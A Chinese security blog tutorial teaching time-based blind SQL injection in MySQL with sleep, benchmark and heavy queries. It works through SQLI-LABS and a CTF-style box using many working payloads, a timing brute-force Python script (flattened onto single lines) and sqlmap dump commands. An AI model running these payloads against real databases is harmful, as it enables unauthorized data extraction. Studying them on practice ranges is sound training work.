深入浅出带你学习时间盲注

引文

昨天给大家带来了布尔盲注的有关内容,今天给大家带来一个同样属于盲注的另一种注入方法——时间盲注,该方法与布尔盲注相似但又不是那么相似,下面由我带大家深入学习一下时间盲注。

基本知识

什么是时间盲注?

时间盲注又称延迟注入,适用于页面不会返回错误信息,只会回显一种界面(与布尔盲注类似),其主要特征是利用sleep函数或者benchmark函数让mysql执行时间变长,制造时间延迟,由回显时间来判断是否报错。可以观察下面的例子:

我们构造了URL,如果if里的语句是正确的会返回1,如果语句是错误的就会延迟3秒,众所周知1!=2,所以网页反映了3秒,这就是一个简单的测试,可能有的朋友会问如何判断反应时间就是3秒呢,我们可以按F12打开开发者工具查看网页响应时间。

函数/方法

知道了时间盲注大致的应用方法我们就来看一下涉及的函数,众所周知时间盲注是与时间有关的所以涉及的函数也与时间有关。

sleep函数

sleep(X)函数,延迟X秒后回显,基于这个函数我们可以下面这样使用。

if(判断语句,x,y)如果判断语句正确则输出X,否则输出Y 

类似于布尔盲注,我们可以构造判断语句来进行判断。

?id=1' and if(length(database())>=8,sleep(5),1)-- - 

上面语句意思是如果数据库长度大于等于8我们就延时5秒后进行回显,与布尔盲注类似。

判断库名:

?id=1' and if(ascii(substr(database(),1,1))=115,sleep(2),0) --+ 

得到库名为security后接着判断表名:

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1))=109,sleep(3),0)--+ 

之后判断列名:

?id=1’ and If(ascii(substr((select column_name from information_schema.columns where table_name=‘users’ and table_schema=database() limit x,y),z,d))=105,sleep(2),1)–+ 

找到列名后就可以爆数据了。

benchmark函数

benchmark是Mysql的一个内置函数,其作用是来测试一些函数的执行速度,benchmark()中带有两个参数,第一个是执行的次数,第二个是要执行的函数或者是表达式。用法如下:

benchmark(count,expr) 

其中count指的是执行次数,expr表达式,合起来就是计算表达式count次,当我们有返回值时,就可以根据查询时间长短来达到延时的目的。

heavy query函数

原理是用到一些消耗资源的方式让数据库的查询时间尽量变长,而消耗数据库资源的最有效的方式就是让两个大表做笛卡尔积。

id = 1' and 1 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.SCHEMATA C)%23
id = 1' and 0 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.SCHEMATA C)%23 

也是根据反应时间来进行判断,除了利用方法不太一样但思想都是差不多的。

注入过程

以SQLI-LABS的第九关为例,我们先判断注入点:

?id=1 and if(1,sleep(5),3) -- a
?id=1' and if(1,sleep(5),3) -- a
?id=1" and if(1,sleep(5),3) -- a 

接着判断长度:

?id=1' and if((length(查询语句) =1), sleep(5), 3) -- a 

一个一个的枚举字符:

?id=1' and if((ascii(substr(查询语句,1,1)) =1), sleep(5), 3) -- a 

以上就是简单的时间盲注过程,有没有发现一个一个时是不是很费时间,我们也是可以像布尔注入一样构造脚本。

例题

手工注入

进入页面是一个搜索框,尝试构造注入payload:

id=1 and if(mid(database(),1,1)=‘s’,sleep(5),1)–+ 

判断数据库长度:

1 and if(length(database())=4,sleep(3),1) 

判断为长度后,查数据库名字:

1 and if(ascii(substr(database(),4,1))>110,sleep(3),1)
1 and if(ascii(substr(database(),4,1))=105,sleep(3),1)	ascii(i)=105 

得到数据库名字为sqli,于是查看数据库下有几张表:

1 and if((select count(table_name) from information_schema.tables
 where table_schema=database())=2,sleep(3),1) 

判断为2个表,我们挨个猜表名:

1 and if(ascii(substr((select table_name from information_schema.tableswhere table_schema=database() limit 1,1),1,1))=102,sleep(3),1)ascii(f)=102 

得到表名为flag后猜字段名:

1 and if(ascii(substr((select column_name from information_schema.columns
 where table_name='flag'),1,1))=102,sleep(3),1) 

工作量是非常大的,于是我在网上找了一个脚本:

#encoding=utf-8
#时间盲注脚本
import requests
import time
import datetime
#获取数据库长度
def database_len():  #存放跑出的结果length=0database=''print ("start get length...")for l in range(1,15):startTime1=time.time()url1 = "?id=1 and if(length(database())=%d,sleep(1),1)"%(l)response1 = requests.get(url1)if time.time() - startTime1 > 1:length+=lprint ("the length :" , str(length)) # breakprint ("start database sql injection...")
database_len()
#获取数据库名
def database_name():name = ''for j in range(1, 15): #根据数据库名长度自行修改15这个数值for i in '0123456789abcdefghijklmnopqrstuvwxyz':url = '''http://172.20.10.14/pentest/test/time/'''payload = '''?type=if(substr(database(),%d,1)='%s',sleep(2),1)''' % (j, i)# print(url+payload+'%23')time1 = datetime.datetime.now()r = requests.get(url + payload + '%23')time2 = datetime.datetime.now()sec = (time2 - time1).secondsif sec >= 2:name += iprint(name)breakprint('database_name:', name)
database_name() 

SQLMAP注入

有时候我们可以使用SQLMAP去自动注入。

python sqlmap.py -u /?id=1 --dbs --batch 

得到数据库名,我们查询sqli库:

id=1 -D sqli --tables --batch 

之后查到表为flag字段为flag,我们直接查字段:

id=1 -D sqli -T flag -C flag --dump 

结语

g --dump


<img src="https://img-blog.csdnimg.cn/img_convert/16f644a38f9765951264e84f219d7f95.png" style="margin: auto" />

结语
==

今天详细讲了SQL注入里面的时间盲注,讲了几个常用的时间盲注的函数,有兴趣的小伙伴可以自己去靶场尝试一下,原理还是比较好懂的,错误的地方希望大家指正,如果对本文对你有帮助希望一键三连支持一下。## 网络安全工程师(白帽子)企业级学习路线

### 第一阶段:安全基础(入门)

![img](https://img-blog.csdnimg.cn/img_convert/52421912938f670ccb91e7daa36d643c.png)



### 第二阶段:Web渗透(初级网安工程师)

![img](https://img-blog.csdnimg.cn/img_convert/8c6c0c199adaae53057258e4dd1ca5b6.png)



### 第三阶段:进阶部分(中级网络安全工程师)

![img](https://img-blog.csdnimg.cn/img_convert/6b99413f11ff09902aad988b775ebd9d.png)

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里**👉**[网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!](https://mp.weixin.qq.com/s/BWb9OzaB-gVGVpkm161PMw)

## 学习资源分享

![外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传](https://img-home.csdnimg.cn/images/20230724024159.png?origin_url=C%3A%5CUsers%5CAdministrator%5CDesktop%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E8%B5%84%E6%96%99%E5%9B%BE%5C%E5%BE%AE%E4%BF%A1%E6%88%AA%E5%9B%BE_20230201105953.png&pos_id=img-KKM9OQy6-1715474587125)

<img src="https://hnxx.oss-cn-shanghai.aliyuncs.com/official/1678694737820.png?t=0.6334725112165747" />
  • 14
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
深入浅出Python机器学习》是一本介绍Python机器学习的入门级书籍。本书适合初学者,通过简洁明了的语言和实用的示例来引导读者学习机器学习的基本原理和Python编程技巧。 这本书首先介绍了机器学习的基本概念和应用场景。作者通过举例解释了监督学习、无监督学习和半监督学习等机器学习方法的基本原理和应用领域。读者可以通过这些例子了解到机器学习在图像识别、文本分类、推荐系统等领域的应用。 接下来,本书详细介绍了Python机器学习框架的使用。作者详细介绍了NumPy、Pandas和Scikit-learn等常用的Python机器学习库的基本功能和用法,读者可以通过这些库来实现和优化自己的机器学习算法。 在学习机器学习算法的过程中,本书给出了大量的机器学习算法实例。作者通过手把手地讲解,实战展示了线性回归、决策树、支持向量机等常见的机器学习算法的原理和应用。读者可以通过这些实例学习到如何选择并应用不同的机器学习算法解决实际问题。 此外,本书还介绍了交叉验证、特征选择和模型评估等机器学习相关的技术和方法。这些内容为读者提供了更全面的机器学习知识体系,帮助读者更好地理解和应用机器学习算法。 总的来说,《深入浅出Python机器学习》是一本结合理论与实践的实用教材,对于想要了解机器学习并使用Python实现算法的读者来说是一本很好的参考书籍。它将机器学习的基本原理和Python编程技巧有机地结合在一起,帮助读者快速入门并能够应用机器学习算法解决实际问题。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值